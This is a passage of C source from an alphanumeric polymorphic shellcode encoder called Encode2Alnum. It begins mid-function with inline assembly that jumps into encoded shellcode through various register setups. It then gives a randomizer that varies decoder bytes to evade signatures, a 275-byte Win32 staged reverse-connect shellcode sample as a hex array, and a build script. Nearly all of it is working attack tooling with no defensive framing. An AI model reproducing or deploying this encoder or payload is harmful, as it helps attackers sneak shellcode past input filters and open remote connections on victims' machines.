						add ecx, reg_offset
						jmp EncodedShellcode
					}
				}
				else // "[ECX+off]"
				{
					_asm
					{
						mov ecx, pEncodedShellcode
						sub ecx, reg_offset
						jmp EncodedShellcode
					}
				}
			}
		}
	}
	else if (reg_type == EDX)
	{
		if (!reg_indirect)
		{
			if (!reg_offset) // "EDX"
			{
				_asm
				{
					mov edx, EncodedShellcode
					jmp EncodedShellcode
				}
			}
			else
			{
				if (reg_negative) // "EDX-off"
				{
					_asm
					{
						mov edx, EncodedShellcode
						add edx, reg_offset
						jmp EncodedShellcode
					}
				}
				else // "EDX+off"
				{
					_asm
					{
						mov edx, EncodedShellcode
						sub edx, reg_offset
						jmp EncodedShellcode
					}
				}
			}
		}
		else
		{
			if (!reg_offset) // "[EDX]"
			{
				_asm
				{
					mov edx, pEncodedShellcode
					jmp EncodedShellcode
				}
			}
			else
			{
				if (reg_negative) // "[EDX-off]"
				{
					_asm
					{
						mov edx, pEncodedShellcode
						add edx, reg_offset
						jmp EncodedShellcode
					}
				}
				else // "[EDX+off]"
				{
					_asm
					{
						mov edx, pEncodedShellcode
						sub edx, reg_offset
						jmp EncodedShellcode
					}
				}
			}
		}
	}
	else if (reg_type == ESI)
	{
		if (!reg_indirect)
		{
			if (!reg_offset) // "ESI"
			{
				_asm
				{
					mov esi, EncodedShellcode
					jmp EncodedShellcode
				}
			}
			else
			{
				if (reg_negative) // "ESI-off"
				{
					_asm
					{
						mov esi, EncodedShellcode
						add esi, reg_offset
						jmp EncodedShellcode
					}
				}
				else // "ESI+off"
				{
					_asm
					{
						mov esi, EncodedShellcode
						sub esi, reg_offset
						jmp EncodedShellcode
					}
				}
			}
		}
		else
		{
			if (!reg_offset) // "[ESI]"
			{
				_asm
				{
					mov esi, pEncodedShellcode
					jmp EncodedShellcode
				}
			}
			else
			{
				if (reg_negative) // "[ESI-off]"
				{
					_asm
					{
						mov esi, pEncodedShellcode
						add esi, reg_offset
						jmp EncodedShellcode
					}
				}
				else // "[ESI+off]"
				{
					_asm
					{
						mov esi, pEncodedShellcode
						sub esi, reg_offset
						jmp EncodedShellcode
					}
				}
			}
		}
	}
	else if (reg_type == EDI)
	{
		if (!reg_indirect)
		{
			if (!reg_offset) // "EDI"
			{
				_asm
				{
					mov edi, EncodedShellcode
					jmp EncodedShellcode
				}
			}
			else
			{
				if (reg_negative) // "EDI-off"
				{
					_asm
					{
						mov edi, EncodedShellcode
						add edi, reg_offset
						jmp EncodedShellcode
					}
				}
				else // "EDI+off"
				{
					_asm
					{
						mov edi, EncodedShellcode
						sub edi, reg_offset
						jmp EncodedShellcode
					}
				}
			}
		}
		else
		{
			if (!reg_offset) // "[EDI]"
			{
				_asm
				{
					mov edi, pEncodedShellcode
					jmp EncodedShellcode
				}
			}
			else
			{
				if (reg_negative) // "[EDI-off]"
				{
					_asm
					{
						mov edi, pEncodedShellcode
						add edi, reg_offset
						jmp EncodedShellcode
					}
				}
				else // "[EDI+off]"
				{
					_asm
					{
						mov edi, pEncodedShellcode
						sub edi, reg_offset
						jmp EncodedShellcode
					}
				}
			}
		}
	}
	else if (reg_type == EBP)
	{
		if (!reg_indirect)
		{
			if (!reg_offset) // "EBP"
			{
				_asm
				{
					mov eax, EncodedShellcode
					mov ebp, eax
					jmp eax
				}
			}
			else
			{
				if (reg_negative) // "EBP-off"
				{
					_asm
					{
						mov eax, EncodedShellcode
						mov ebp, eax
						add ebp, reg_offset
						jmp eax
					}
				}
				else // "EBP+off"
				{
					_asm
					{
						mov eax, EncodedShellcode
						mov ebp, eax
						sub ebp, reg_offset
						jmp eax
					}
				}
			}
		}
		else
		{
			if (!reg_offset) // "[EBP]"
			{
				_asm
				{
					mov eax, pEncodedShellcode
					mov ebp, eax
					mov eax, [eax]
					jmp eax
				}
			}
			else
			{
				if (reg_negative) // "[EBP-off]"
				{
					_asm
					{
						//int 3
						mov eax, pEncodedShellcode
						add ebp, reg_offset
						mov ebp, eax
						mov eax, pEncodedShellcode
						jmp eax
					}
				}
				else // "[EBP+off]"
				{
					_asm
					{
						//int 3
						mov eax, pEncodedShellcode
						sub eax, reg_offset
						mov ebp, eax
						mov eax, pEncodedShellcode
						jmp eax
					}
				}
			}
		}
	}
	else if (reg_type == ESP)
	{
		if (!reg_indirect)
		{
			if (!reg_offset) // "ESP"
			{
				char *tmp;
				_asm
				{
					sub esp, EncodedShellcodeLength
					mov tmp, esp
				}
				memcpy(tmp, EncodedShellcode, EncodedShellcodeLength);
				_asm
				{
					jmp esp
				}
			}
			else
			{
				if (reg_negative) // "[ESP-off]"
				{
					_asm
					{
						//int 3
						mov eax, pEncodedShellcode
						sub esp, reg_offset
						mov [esp], eax
						add esp, reg_offset
						mov eax, EncodedShellcode
						jmp eax
					}
				}
				else // "[ESP+off]"
				{
					_asm
					{
						//int 3
						sub esp, 4
						mov eax, pEncodedShellcode
						mov [esp], eax
						sub esp, reg_offset
						mov eax, EncodedShellcode
						jmp eax
					}
				}
			}
		}
		else
		{
			if (!reg_offset) // "[ESP]"
			{
				_asm
				{
					mov eax, EncodedShellcode
					push eax
					jmp EncodedShellcode
				}
			}
			else
			{
				if (reg_negative) // "[ESP-off]"
				{
					_asm
					{
						//int 3
						mov eax, EncodedShellcode
						sub esp, reg_offset
						push eax
						add esp, reg_offset

						jmp EncodedShellcode
					}
				}
				else // "[ESP+off]"
				{
					_asm
					{
						//int 3
						mov eax, pEncodedShellcode
						push eax
						sub esp, reg_offset
						jmp EncodedShellcode
					}
				}
			}
		}
	}
	else
	{
		assert(0);
	}
}
#endif

=== enc2alnum/randomize.c
// Encode2Alnum (polymorphic alphanumeric decoder/encoder)
// Copyright (C) 2003-2004, Matt Conover, Avri Schneider and Soren Macbeth
#include <windows.h>
#include "enc2alnum.h"

RANDOMIZER g_Randomizers[] =
{
	//{ '^', 0, FALSE, ALNUM_CHARSET },
	{ '*', 0, FALSE, INDIRECT_CHARSET },
	{ '!', 3, TRUE, INDIRECT_CHARSET },
	{ 0, 0, FALSE, NULL }
};

BYTE Key;
BYTE Terminator;

BYTE GetRandomByte()
{
	BYTE alnum;
	do { alnum = RANDOM_ALNUM(); } while (!isalnum(alnum));
	return alnum;
}

void Randomize(BYTE *In, BYTE RandomArray[], DWORD Length)
{
	DWORD i;

	for (i = 0; i < Length; i++)
	{
		In[i] = RandomArray[rand() % strlen(RandomArray)];
	}
}

int FindRandomizerIndex(BYTE RandomizeKey)
{
	int i;
	for (i = 0; g_Randomizers[i].RandomizeKey != 0; i++)
	{
		if (g_Randomizers[i].RandomizeKey == RandomizeKey) return i;
	}
	return -1;
}

BOOL RandomizeDecoder(BYTE *Buffer, DWORD Length)
{
	DWORD i;
	DWORD RandomizerLength;
	int Index;
	DWORD saved_i = 0;
	BYTE saved_key = 0;
	BOOL ReplaceNextMatch = FALSE;

	for (i = 0; i < Length; i++)
	{
		if (isalnum(Buffer[i])) continue;
		if (Buffer[i] == KEY)
		{
			Buffer[i] = Key = GetRandomByte();
		}
		else if (Buffer[i] == TERMINATOR)
		{
			Buffer[i] = Terminator = GetRandomByte();
		}
		else
		{
			Index = FindRandomizerIndex(Buffer[i]);
			if (Index < 0)
			{
				fprintf(stderr, "ERROR: invalid stub or decoder (unknown randomizer 
'%c')\n", Buffer[i]);
				return FALSE;
			}
			RandomizerLength = 1 + g_Randomizers[Index].Extra;
			if (ReplaceNextMatch && Buffer[i] == saved_key)
			{
				memcpy(Buffer+i, Buffer+saved_i, RandomizerLength);
				ReplaceNextMatch = FALSE;
				saved_i = 0;
				saved_key = 0;
				i += g_Randomizers[Index].Extra;
			}
			else
			{
				if (g_Randomizers[Index].ReplaceNextMatch)
				{
					ReplaceNextMatch = TRUE;
					saved_i = i;
					saved_key = Buffer[i];
				}

				Randomize(Buffer+i, g_Randomizers[Index].CharacterSet, 
RandomizerLength);
			}
		}
	}

	return TRUE;
}

=== enc2alnum/shellcode_samples/win32_stage_reverse_read.c
BYTE HexDump[] = // 275 bytes
	"\x81\xe4\xfc\xff\xff\xff\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b"
	"\x6c\x24\x18\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b"
	"\x5a\x20\x01\xeb\xe3\x32\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31"
	"\xc0\xac\x38\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24"
	"\x14\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01"
	"\xeb\x8b\x04\x8b\x01\xe8\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08"
	"\x00\x5e\x6a\x30\x59\x64\x8b\x19\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b"
	"\x8b\x5b\x08\x53\x68\x8e\x4e\x0e\xec\xff\xd6\x89\xc7\x81\xec\x00"
	"\x01\x00\x00\x57\x56\x53\x89\xe5\xe8\x1f\x00\x00\x00\x90\x01\x00"
	"\x00\xb6\x19\x18\xe7\xa4\x19\x70\xe9\xec\xf9\xaa\x60\xd9\x09\xf5"
	"\xad\xcb\xed\xfc\x3b\x57\x53\x32\x5f\x33\x32\x00\x5b\x8d\x4b\x18"
	"\x51\xff\xd7\x89\xdf\x89\xc3\x8d\x75\x14\x6a\x05\x59\x51\x53\xff"
	"\x34\x8f\xff\x55\x04\x59\x89\x04\x8e\xe2\xf2\x2b\x27\x54\xff\x37"
	"\xff\x55\x28\x31\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x24"
	"\x89\xc7\x68\xaa\xbb\xcc\xdd\x68\x02\x00\xab\xcd\x89\xe1\x6a\x10"
	"\x51\x57\xff\x55\x20\x59\x59\x81\xec\x00\x10\x00\x00\x89\xe3\x6a"
	"\x00\x68\x00\x10\x00\x00\x53\x57\xff\x55\x18\x81\xec\x00\x04\x00"
	"\x00\xff\xd3";

=== enc2alnum/shellcode_samples/make.bat
@echo off
del win32_stage_reverse_read.bin 2>NUL
nasmw -f bin -o win32_stage_reverse_read.bin 
win32_stage_boot_reverse_read.asm
hexdump -h -c win32_stage_reverse_read.bin > win32_stage_reverse_read.c
echo Bin is win32_stage_reverse_read.bin
echo C string is win32_stage_reverse_read.c

=== enc2alnum/shellcode_samples/win32_stage_api.asm
Original by HDM, see www.metasploit.com

=== enc2alnum/shellcode_samples/win32_stage_boot_reverse.asm
Original by HDM, see www.metasploit.com

=== enc2alnum/shellcode_samples/win32_stage_boot_reverse_read.asm
Original by HDM, see www.metasploit.com

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